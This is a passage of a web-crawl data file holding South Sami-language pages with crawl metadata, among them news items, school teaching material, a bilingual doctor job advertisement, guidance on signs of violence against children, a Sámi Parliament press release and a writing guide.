20","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/sjukresor---andra-sprak---vasterbotten\/","date":"2024-03-01T05:06:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474948.91\/warc\/CC-MAIN-20240301030138-20240301060138-00459.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":486,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan biejjien Nøørjen reereme staatebudsjeedtem jaepien 2016 vuesiehtamme jih Saemien Sijte Snåasesne, guhkiem beetneh-vierhtieh vuarteme guktie maehtieh orre gåetiem bigkedh. Ij Saemien Sijten åejvie Birgitta Fossum guhtegh bååhperh.\n– Håhkoem utnim, edtjimh naan beetneh-vierhtieh åadtjodh guktie maehtebe aelkedh daam orre Saemien Sijtem bigkedh, daelie tjoerebe jaepiem vielie vuertedh, Fossume jeahta.\nGuktie Nrk Sapmi aerebi tjaaleme, dellie lea kultuvredeepartemente dåavjoehtamme edtjieh beetnegh åadtjodh. Tjuerieh dellie sagke vaenebe beetnegi gujmie nøøkedh jih aaj tjuerieh vuejnedh mejtie sijjie jih maehtieh dam orre Saemien Sijte gåetiem bigkedh dan baalte dieltesne, gusnie dihte Saemien Sijte daelie.\n- Lohkh aaj:\nLiehtemes dielte.\nAalkoevistie ussjedin, dam Saemien Sijten orre gåetiem Horjemsnjuanesne bigkedh daan Snåasen jaevrie bealesne. Eah leah ennje maam daan bijre nænnoestemme, magkeres dieltesne sjædta. Jijnje åvtebarkoe ennje Fossume jeahta.\n– Daelie tjoerebe barkedh jih vuejnedh magkeres dieltesne liehtemes bigkedh. Mejtie hojhte liehtebe jih daan deava baahkosne bigkedh jalltsh Horjemsnjuanesne Fossume jeahta.\nSaemien sijte åådtjoeji 3,5 millj kr 2015 aalkoeprosjeektese.\n- Lohkh vielie:","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.nrk.no\/sapmi\/saemien-sijte-tjuara-vuertedh-1.12591123","date":"2024-02-24T12:40:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474533.12\/warc\/CC-MAIN-20240224112548-20240224142548-00633.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":150,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis skuvle lea Dembra-skuvle sjïdteme, lohkehtæjja maahta dan bïjre soptsestidh jïh tjïelkestidh man bïjre Dembra lea.\nMaahta såemies vuesiehtimmieh learoehkidie åehpiedehtedh mah vuesiehtieh mij pleekeme lea dan åvteste akten dåahkan govlehtuava. Lohkehtæjja tjïelkeste skuvle edtja sijjieh årrodh gusnie gaajhkh learohkh hijven utnieh, jïh learohkh maehtieh viehkiehtidh tsiehkieh skuvlesne goerehtalledh mah maehtieh buerebe sjïdtedh.\nGoh ryöjredimmie learohkh maehtieh göökte haarjanimmieh tjïrrehtidh «Akte almetje - akte naestie» jih \"Skjellsord og meg\". Voestes haarjanimmie vuesehte gaajhkh mijjieh stoerre jïh gellielaaketje identiteeth utnebe, jïh dïhte mubpie ulmine åtna learohkh edtjieh ussjedadtedh guktie maahta domtedh gosse måelliebaakoe åtnasuvvieh jïjtjemse buerkiestidh. Daate maahta learoehkidie skreejrehtidh negatijve dååjresi bijjeli skuvlesne ussjedadtedh. Daah göökte boelhkh maehtieh aktem tæjmoem tjåanghkan vaesedh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/undervisningsopplegg\/gaetiehaarjanimmie","date":"2024-03-01T22:02:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475701.61\/warc\/CC-MAIN-20240301193300-20240301223300-00279.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":111,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SØRSAMISK ANNONSETEKST\nStaeriesdåaktere Snåasesne 0-latjkojne jallh staeriesbaalhkine\nSnåasen tjïelte dåakterem ohtsede, 100 % ihkuve sïejhmepraksisinie mij aalka 01.07.24 jallh dan varke gåarede dan biejjien mænngan.\nBarkoe lea bïejesovveme Snåasen dåakterekontovrese. Dåakterekontovresne 3,0 jaepiebarkoeh (daejnie barkojne), staeriesdåaktarasse jïh akten turnusdåaktarasse. Snåasen dåakterekontovren leah staeriesdåakterh ektielæstojne. Snåasen tjïelte dåakterekontovrem eekie jïh jåhta viehkiebarkijigujmie, skïemtjesåjhterigujmie jïh healsoetjaeliejinie, mejtie tjïelte seehtie jïh baalhkam maaksa. Tjïelte dïenesjem jåhta jïh lea seamma stoerre goh betniedåarjoe\/per capita-dåarjoe.\nDaelie hjemmele jåhta goh privaate praksise tjïelten gïehtelimslatjkojne læstoedïedtine latjkoen mietie. Læstoegåhkoe hjemmelasse lea 800. Jis vaajteles maahta tjïeltine staeries baalhkalatjkoen bïjre rååresjidh. Maahta tjïelten laavenjassi bïjre seamadidh lïhkebe latjkoen mietie.\nMijjieh sjïeredåakterem ohtsebe sïejhmemedisijnesne jallh dåaktere mij sæjhta jïjtjemse spesialiseradidh sïejhmemedisijnesne. Dåaktarasse mij sæjhta jååhkesjimmiem åadtjodh goh sjïeredåaktere sïejhmemedisijnesne, tjïelte sæjhta sjïehteladtedh ihke dagkeres ööhpehtimmie maahta sjugniehtovvedh maereleslaakan. Maaksoeh spesialiseradæmman sïejhmemedisijnesne edtjieh uvtemes foenteste maaksasovvedh dan staateles latjkoen mietie (staatelatjkoe).\nSnåasen tjïelte latjkoem åtna Stïentjen dåakterevaeptine gasketjïelten dåakterevaeptien bïjre iehkedi, jïjji jïh hïelji, jïh obligatovreles meatan årrodh vaeptieöörnegisnie. Dåakterevaeptielaavenjostoe lea Stïentjen dåakterevaeptesne mij lea 6 mïjlh åarjese. Biejjiedåakterevaeptie Snåasesne lea gaskem 08-15.30 aarkebiejjiej jïh tjïelten dåakterh dam dïedtem utnieh.\nOhtsijh tjuerieh kvalifiseradamme årrodh nöörjen autorisasjovnine jïh leavloe bïejesåvva faageles maahtose, dååjrehtæmman, persovneles sjïehtelesvoetese jïh mejtie ohtsije lea væjkele laavenjostedh.\nDaerpies hijven daajrojne nöörjen gïelesne.\nOhtsije tjuara vuejemeleahpam utnedh jïh maehtedh jïjtse bïjlem nuhtjedh dïenesjisnie.\nVielie bïevnesh barkoen bïjre ektievoeten åvtehkistie Ragnhild Moum Agle tlf 99583727.\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïeline jïh kultuvremaahtojne.\nÅvtelen barkosne aalka tjuara orre vihtiestimmiem polliseste buektedh Healsoe- jïh hoksedïenesjelaaken § 5-4, mietie 1. lïhtse.\nNORSK ANNONSETEKST\nSnåsa Kommune søker lege, 100 % fast i allmennpraksis med oppstart 01.07.24 eller så snart som mulig etter det tidspunktet.\nStillingen er lokalisert ved Snåsa Legekontor. Ved legekontoret er det 3,0 årsverk (inkl. denne) for fastlege og en turnuslege. Snåsa Legekontor eies og drives av Snåsa Kommune med hjelpepersonell, sykepleiere og helsesekretær, ansatt og lønnet av kommunen. Kommunen driver tjenesten og motsvarer størrelse av basistilskudd\/per capita-tilskudd.\nHjemmelen drives p.t. som privatpraksis med kommunal driftsavtale med listeansvar etter avtale. Listelengden for hjemmelen er på 800 pasienter. Dersom det er ønskelig kan det forhandles med kommunen om fastlønnsavtale, eller fastlønn med insentiv. Det kan avtales kommunale oppgaver etter nærmere avtale.\nVi søker etter en spesialist i allmennmedisin eller lege som ønsker å starte spesialisering i allmennmedisin. For lege som ønsker å bli godkjent som spesialist i allmennmedisin vil kommunen legge forholdene til rette slik at utdanning kan skje på en hensiktsmessig måte. Utgifter til spesialisering i allmennmedisin skal fortrinnsvis søkes dekket av fond ifht sentral avtale (statsavtalen)\nSnåsa Kommune har avtale med Steinkjer Legevakt om interkommunal legevakt på kveld, natt og helg med obligatorisk deltagelse i vaktordningen. Legevaktsamarbeidet er lokalisert på Steinkjer legevakt som er ca. 6 mil sørover. Daglegevakt i Snåsa er mellom 08-15.30 på hverdager og dekkes mellom kommunens leger.\nSøkere må være kvalifisert med norsk autorisasjon og det vektlegges faglig kompetanse, erfaring, personlig egnethet og gode samarbeidsevner.\nGode norskkunnskaper forutsettes.\nSøker må ha førerkort og kunne disponere egen bil i tjenesten.\nNærmere opplysninger om stillingen kan gis av enhetsleder Ragnhild Moum Agle tlf 99583727\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse.\nFør tiltredelse i stillingen, må det framlegges ny politiattest i henhold til Helse- og omsorgstjeneste-lovens § 5-4, 1. ledd.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.legejobber.no\/Annonse\/?wid=50727","date":"2024-03-01T17:42:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475422.71\/warc\/CC-MAIN-20240301161412-20240301191412-00852.warc.gz","language":"sma","language_score":0.9772392511,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9772392511367798, \"sme_Latn_score\": 0.01463230513036251}","num_words":525,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanah bïllejieh jïh raassan sjidtieh gaajhkesåarhts vædtsoesvoeteste, dovne heannadimmien åvtelen jïh mænngan jïh mearan vædtsoesvoete sjugniehtåvva. Vædtsoesvoetine jieledh maahta lïeremem heerredidh jïh lea fåantoe man åvteste maanah joekoen haarmese sjidtieh jallh antanedtieh.\nVædtsoesvoete maahta fysiske, psykiske jallh seksuelle årrodh. Faatoes hokse jïh gieriesvoete jïh vædtsoesvoetem vuejnedh leah aaj vædtsoesvoete maanaj vööste. Vædtsoesvoete maanijste vaalta maam dah daarpesjieh, gidtjh daajroe mij åvtese sjugniehtåvva jïh hokse. Maanah mah vædtsoesvoetem dååjroeh maehtieh lissie prååsehke årrodh raessiefaktovride maanagïertesne jallh klaassetjiehtjielisnie, jïh maehtieh tjarke reageeredh bielelen geerve almetjh sijjen bïjre guarkoeh man åvteste. Jalhts maana lea jearsoe byjreskinie, ij sïjhth læjhkan jearsoesvoetem damtedh.\nFilmesne vuelielisnie Mariusem gaavnedibie skuvlesne (gaajhkesh leah dorjehtæjjah):\nVæhtah mah vuesiehtieh maanah jïh noerh vædtsoesvoetem jïh daaresjimmieh dååjroeh\nMaanah mah daamtaj narrahtimmieh dååjroeh leah daamtaj «tjarke riejriesvoetesne» iktesth. Maanan aajla dåeriesmoerh åtna guarkedh vaahra lea gaajpanamme. Dah maehtieh fer eadtjohke sjïdtedh, jïh dååjredh kråahpe staarpa, stråarkan, impulsijve reaksjovnh utnedh jïh hatsves årrodh. Jeatjah maanah maehtieh passijve jïh ealjohts sjïdtedh jïh eah domtesh vuesehth.\nVueptesth væhtah daennie læstosne maehtieh hævvi jeatjah fåantoeh gaavhtan årrodh goh vædtsoesvoete, daaresjimmie jïh hoksevaanoe.\nPsykiske væhtah:\n- Maana varke hielhkehte, lea stråarkan\n- Dåeriesmoerh konsentrasjovnine jïh staarpa\n- Reesmesåvva jïh haarmese sjædta\n- Gyvvene jallh eevre båastode: ij sïjhth gaskesem jïh lïhkesvoetem utnedh\n- Dåeriesmoerh ruvsemehtiejgujmie\n- Jïjtjemse skaarohte\n- Mojhtesem dassa\n- Seassoe evtiedimmie – jallh maana tjiehpiesvoeth dassa maam åtneme (v.g. maana aalka måvhkaj sïjse gadtjedh).\nFysiske væhtah:\n- Plaavemïerhkh\n- Tjelmie- jïh ååredæjjaskaarah\n- Boelehtjimmieskaarah\n- Ahkedh vaejvieh kråahpesne, v.g. tjööjjeste\/åejjeste\n- Skaarah mah rovnegs tjïelkestimmieh utnieh jallh soptsesh jorkesieh\nVædtsoesvoete maanan aajlam hammode\nRaessie, maam vædtsoesvoete jïh daaresjimmie sjugniedieh, maanan aajlam baajnehte. Mijjen aajla såemies raessiem tööllie, men jis akte maana jaabnan jïjnjem raessiem jïh maajsoeh dååjroeh, dellie dïhte konsekvensh vadta.\nMaanah jïh noerh mah vædtsoesvoetem dååjreme, daamtaj jïjnjem tsåatskelesvoetem nuhtjieh geehtedh mejtie vaarege tsiehkieh sjugniehtuvvieh. Vuesiehtimmien gaavhtan dah leah tsåatskeles gosse eejhtege voelegeburhtjem rïhpeste, jallh eadtjohkelaakan goltele mennie bïevsterisnie eejhtege lea gosse oksen tjïrrh båata.\nGosse maana iktesth tjuara dan tsåatskeles årrodh, dellie dïhte evtiedimmiem jeatjah vihkeles strategijijste jïh lïeremem baajnehte. Aarebi dååjresh kråahpesne baetsieh, jïh tsiehkieh mah dej bïjre måjhtajehtieh maehtieh tjarke reaksjovnh maanaj luvnie vedtedh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.snakkemedbarn.no\/tips-til-samtalen\/maam-vaedtsoesvoete-maanajgujmie-dorje-hva-gjor-vold-med-barn-sorsamisk\/","date":"2024-02-27T00:40:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00511.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":340,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Enaresaemien båaloebuertien hammoeh\nSaemien boktsaavh leah naemhtie mïerhkesjamme orange duekie. Dah båaloeh gusnie saemien bokstaavh, dejtie aaj daej båaloejgujmie jaksh AltGr: diedtieh AltGr + dam saemien bokstaavem jis sïjhth åadtjodh dam bokstaavem, mij lea daelie sjïere båaloem åådtjeme.\nVuesiehtæmman: Gosse såevmien Ö, diedtieh dellie AltGr + Đ.\nGaajhkh dah jeatjah bokstaavh jïh væhtah leah seamma sijjesne goh såevmien båaloebuertesne.\nEnaresaemien (Windows & macOS)","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/divvun.no\/sma\/keyboards\/layout-smn.html","date":"2024-02-21T01:39:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473360.9\/warc\/CC-MAIN-20240221002544-20240221032544-00435.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":60,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nulletoleraanse\nNulletoleraanse vuesehte dovne faahketji jïh tjïelke dahkose gaajhkesåarhts meadtoej vööste, jïh vielie sïejhme vuastalimmie dan vööste maam ij maehtieh jååhkesjidh. Skuvlesne daajehtse åtnasåvva vuesiehtidh ij edtjh narrahtimmieh jååhkesjidh. Daate sæjhta jiehtedh edtja narrahtimmieh tjïelkelaakan gïetedidh, jïh aaj dïedtem åtna barkoem darjodh systeemen mietie gusnie hööpteme narrahtimmijste, edtja stuvrije årrodh skuvlen ulmide, soejkesjidie jïh råajvarimmide.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/nulletoleraanse","date":"2024-02-29T19:50:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474852.83\/warc\/CC-MAIN-20240229170737-20240229200737-00607.warc.gz","language":"sma","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000042915344238}","num_words":55,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem evtiedidh. Learohkh maahtoem saemiengïelesne voestesgïeline 3. jïh 4. daltesisnie vuesiehtieh jïh evtiedieh gosse nuepiem åadtjoeh goltelimmiegoerkesem vuesiehtidh jïh sjyöhtehke baakoevåarhkoem jïh gïelem nuhtjedh jïjtsh åehpiedehtieminie ovmessie faageles teemaj bïjre. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse teeksth luhkieh joekehts gåhkojne galkije jïh goerkesinie. Dah aaj maahtoem vuesiehtieh gosse maereles gïelem jïh maereles gaaltijh jïjtsh teekstesjugniedimmesne nuhtjieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh åadtjoeh meatan årrodh tsevtsedh jïh lïeremelastose skreejrehtidh viehkine jeereldihkie njaalmeldh, tjaaleldh jïh praktihkeles barkoevuekieh sjiehteladtedh. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre saemiengïelesne voestesgïeline soptsestalledh, jïh learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam tuhtjieh haalvoeh jïh maam buerebelaakan haalvoeh goh aarebi. Lohkehtæjja edtja bïhkedidh guktie learohke maahta vielie lïeredh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh njaalmeldh tjiehpiesvoeth, jïh lohkeme- jïh tjaelememaahtoem evtiedidh gosse gïeline jïh teekstigujmie barkeminie.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/kompetansemaal-og-vurdering\/kv210?lang=sma","date":"2024-02-25T18:30:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474641.34\/warc\/CC-MAIN-20240225171204-20240225201204-00755.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":147,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Arrangement\nTsåahka: 12:00-16:30\nVaasa: 4,5 tæjmoeh (30 min. lïegkedimmine)\nBuerie båeteme akten vierhkiesæjjan gusnie resirkuleereme, duedtie (aerpievuekien saemien vætnoe jïh tjeahpoevætnoe), saemien gïele, dïhte vælnjoe jïh ektievoete leah våarome. Anna-Stina Svakko symbovli bïjre soptseste saemien vaarjojne, ektiedimmien bïjre jïh guktie saemien vaarjoem saemienlaaketje dorje. Daarpesjibie mijjen vaarjoeh mådtsode guedtedh 2023, goh vaarjelimmie jallh gæmhposne?\nMijjieh birrebe gaajhkesidie mah edtjieh meatan årrodh, aktem vaarjoem meatan vaeltedh maam edtja orresistie hammoedidh vierhkiesijjesne. Maahta tråajja\/jaagka jallh sjåarhta årrodh. Ij leah daerpies åvtedaajrojne gåaroemisnie jis edtja meatan årrodh, men akte aevhkie.\nMijjieh prïhtjegem, gejhkiebearkoem jïh vegaane alternatijvem gåassoehtibie.\nVierhkiesijjie edtja jearsoe areenine årrodh gaajhkesidie. Daesnie nulletoleraanse sïerreden, narrahtihks jïh væssjoehtihks lahtestimmide. Gaskesadth aktem mijjen tjåadtjoehtæjjijste öörnemen åvteste jis maam akt dååjrh mij ovsjiehteles domtoe.\nAnna-Stina Svakko (reakadamme 1967 Gironisnie), Porjusinie årroeminie Saepmien sveerjen bielesne. Dïhte mïestereprieviem veelti duedtesne\/saemien vætnosne jïh myövhkes ïebnine 1991 jïh aerpievuekien duedtine, saemien gaptajgujmie jïh daajbaaletje saemien hammoedimmine barka. Dïhte gaskem jeatjah dam voestes vælnjoeh gaptakuvsjem stuvri Saepmien nöörjen bielesne 2022.\nGæjhtoe seabran Garmeres dej daajroen jïh dåarjoen åvteste daan bievnemeprosjektese.\nDaate vierhkiesijjie lea bielie vuesiehtimmijste jïh bievnemeprosjektijste SOLO OSLO, tjiehpiedæjjijste jïh bievniejijstie mah ektiedimmiem Oslose utnieh, mejtie Talent Norge jïh Canica dåarjoehtieh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.munchmuseet.no\/hva-skjer-arkiv\/231111-ramis-pa-vranga-eller-ikke22\/","date":"2024-02-25T16:33:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474617.27\/warc\/CC-MAIN-20240225135334-20240225165334-00850.warc.gz","language":"sma","language_score":0.9999965429,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999996542930603}","num_words":186,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goh bielie saemiedigkieraerien raeriestimmeste Saemien jïlleskuvle definisjovnem aalkoeåålmegeinstitusjovne åådtje. Saemien jïlleskuvle raastenrastah barkeminie jïh goerkesem våaroeminie åtna saemieh leah akte aalkoeåålmege. Saemiedigkieraerie lea aarebi dåarjoem åådtjeme saemien gïelh aalkoeåålmegegieline vihtiestidh dennie orre gïelelaakesne maam Stoerredigkie gïetedeminie.\nSaemiedigkieraerie Mikkel Eskil Mikkelsen (NSR)\nSámediggi\n– Saemiedigkieraaran lea vihkeles hoksedh Saemien jïlleskuvle nuepiem åådtje jïjtjemse saemien institusjovnine evtiedidh. Dan åvteste raeriestibie Saemien jïlleskuvlen raastenrastah gïehtelimmiedajve jïh jïlleskuvlen våarome ööhpehtæmman jïh dotkemasse vååjnesasse båetieh laakine. Mijjieh daejrebe Saemien jïlleskuvlen leah syjhtedassh aalkoeåålmegeuniversiteetine sjïdtedh. Laakine vihtiestidh Saemien jïlleskuvle lea aalkoeåålmegeinstitusjovne lea akte sïlle dan otnjegen vööste, saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR) jeahta.\nSæjhta dïedtem laakine vihtiestidh\nSaemiedigkieraerie aaj raereste Saemien jïlleskuvle edtja sov dïedtem vihtiestidh juktie gaajhkh saemien gïelh faagegieline evtiedidh.\n– Saemiedigkieraerie raereste rååresjimmesne Saemien jïlleskuvline dej dïedtem vihtiestidh juktie gaajhkh saemien gïelh faagegieline evtiedidh. Tjuara dam tjoevkesisnie vuejnedh Saemien jïlleskuvlen barkoste laanterastaj rastah. Manne aavone Saemien jïlleskuvle lea dan tjyölkehke dan bïjre jïh mijjieh Saemiedigkeste sïjhtebe daam aamhtesem bæjjese fulkedh gosse edtja universiteete- jïh jïlleskuvlesuerkien mierieh gïehtjedidh aktene minngebe stoerredigkiebïevnesisnie.\nSæjhta råållam vijriedidh\nDaelie Saemiedigkie göökte ståvroelïhtsegh Saemien jïlleskuvlese nammohte, men sæjhta råållam vijriedidh universiteete- jïh jïlleskuvlesuerkesne jïh aaj ståvroeåvtehkem Saemien jïlleskuvlese jïh ståvroelïhtsegh Noerhte universiteetese jïh UiT - Nöörjen arktiske universiteetese nammoehtidh.\n– Saemiedægkan vihkele aktem tjïelke råållam utnedh stuvremisnie universiteete- jïh jïlleskuvlesuerkeste. Akte vierhkievierhtie daennie ektiedimmesne lea eadtjohkelaakan meatan årrodh ståvrojde nammoehtidh dejnie ovmessie ööhpehtimmieinstitusjovnine. Doh noerhtemes institusjovnh aktem joekoen vihkeles dïedtem jïh råållam utnieh saemien siebriedahkesne jïh daate aaj tjuara vååjnesasse båetedh ståvroelïhtsegi gaskem. Ståvroeh dagkeres maahtoem daarpesjieh, Mikkelsen jeahta.\nMoenehtse Saemiedigkiem tjelmiehti\nRaeriestimmesne orre universiteete- jïh jïlleskuvlelaakese raereste Saemiedigkien råållam gaertjiedidh jïh Saemiedigkie edtja nammoehtimmiereaktam byjngetje ståvroelïhtsegijstie Saemien jïlleskuvlese dassedh.\nMikkelsen daam raeriestimmiem tjarke laajhta, ij goh unnemes dan åvteste moenehtse ij leah Saemiedigkiem råållam stuvremisnie universiteete- jïh jïlleskuvlesuerkeste vuarjasjamme.\n– Saemiedigkieraerie ij guktie gænnah maehtieh jååhkesjidh Saemiedigkien faamoe jïh råålla viesjiehtåbpoe sjidtieh, jïh manne vuajnam moenehtse ij leah nuekie hijvenlaakan guarkeme maam Saemiedigkie jallh Saemien jïlleskuvle leah. Ij leah hijven gosse raeriestieh Saemiedigkien nammoehtimmiereaktam gaertjiedidh. Saemiedigkieraerien bieleste veeljebe dan åvteste tjyölkehke årrodh mijjen raeriestimmine mijjen veanhtadimmiej bïjre gosse lea Saemiedigkien råållan jïh faamoen bïjre stuvremisnie universiteete- jïh jïlleskuvlesuerkeste laaken tjïrrh, jïh guhkiebasse barkosne stoerredigkiebïevnesinie stuvremen bïjre universiteete- jïh jïlleskuvlesuerkeste.\nJis gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen (NSR), tlf. +47 917 42 161, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/saernieh\/raereste-saemien-jilleskuvlem-aalkoeaalmegeinstitusjovnine-vihtiestidh.8549.aspx","date":"2024-04-22T14:51:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818312.80\/warc\/CC-MAIN-20240422144517-20240422174517-00171.warc.gz","language":"sma","language_score":0.9999660254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999966025352478}","num_words":368,"character_repetition_ratio":0.145,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vïjhteboelhke-vuekien bïjre\nGosse edtjebe tjaeledh maehtebe teeksth joekehtslaakan tjaeledh, men doh jeanatjommes teeksth byöroeh aalkoem, åejvie-boelhkem jïh galhkuvem utnedh. Darjoeh sjissam guktie sïjhth dov teekstem bigkedh, åvtelen aalkah tjaeledh.\nTeekste «Nihtieh kreeke-pryövenassh!», maam P. Thoresen tjaaleme, lea teekste mij vïjhteboelhke-vuekien mietie bigkeme\nNihtieh kreeke-pryövenassh!\nIkth jaepien, voerhtjen 24. biejjien, lea pryövenassh-kreeki biejjie. Veartenen kreekevaarjelimmie-åårganisasjovnh nænnoestamme daate akte gaske-nasjovnaale biejjie. Daejnie biejjine vaajtelieh jienebh almetjh aelkieh ussjedidh dejtie kreekide mah jeenjemes njåvtasuvvieh jïh eah maehtieh jïjtjemse vaarjelidh.\nGellie millijovnh kreekh laboratovrine geereldahkesne, gusnie njåvtasuvvieh baaktjes pryövenassigujmie. Ij naan kreekevaarjelimmie-laake gååvnesh mij maahta irhkemem heerredidh. Daesnie Nöörjesne gidtjh dotkeme aaj tjeakoes, guktie ibie åadtjoeh daejredh mij heannede.\nJïjnjesh utnieh pryövenassh kreekide leah maereles juktie dah leah almetji buaratjommesen gaavhtan. Dellie datne edtjh daejredh, dah jeanatjommes pryövenassh leah kosmetihken, reejneme-mehtien jïh plearoeh aati bïjre. Lissine, dle medisijnen pryövenassh fer muevies illedahkh vedtieh.\nAlmetji stööremes healsoe-dåeriesmoerh daan biejjien leah dah mah gohtjesuvvieh jieledevoete-skïemtjelassh. Dah leah skïemtjelassh mejtie åadtjobe juktie ibie bodtjehke-laakan jielieh. Mannasinie dotkijh edtjieh kreekh irhkedh juktie bådtjah gaavnedh skïemtjelassi vööste mah jïjtjene skåaltoe? Mijjieh byörebe buerebh mijjen jielede-viejsjieh jeatjahtehtedh. Ij mijjen naan reakta baajedh kanijnh, rööhtsh, bïenjh jïh jeatjah kreekh vaejviedidh mijjen gaavhtan!\nP.Thoresen, Kreekevaarjelimmie Verdaelie\nBïhkedasse guktie tjaeledh\nVïjhteboelhke-vuekie akte bïhkedasse maam datne maahtah nuhtjedh gosse edtjh aktem ahkedh teekstem tjaeledh. Maahtah vuekiem viertiestidh dejnie barkojne gåetiem bigkedh. Naemhtie maahtah darjodh:\n- Datne aktem bagkesimmiem daesnie tjaalah (daesnie kreeke-pryövenasse).\n- Datne voestes argumentem tjaalah mij bagkesimmiem tjïelkeste (daesnie: gellie millijovnh kreekh leah geerestamme laboratovriji sisnie jïh desnie almetjh dejtie nuhtjieh gelline baaktjes pryövenassine).\n- Datne mubpiem argumentem 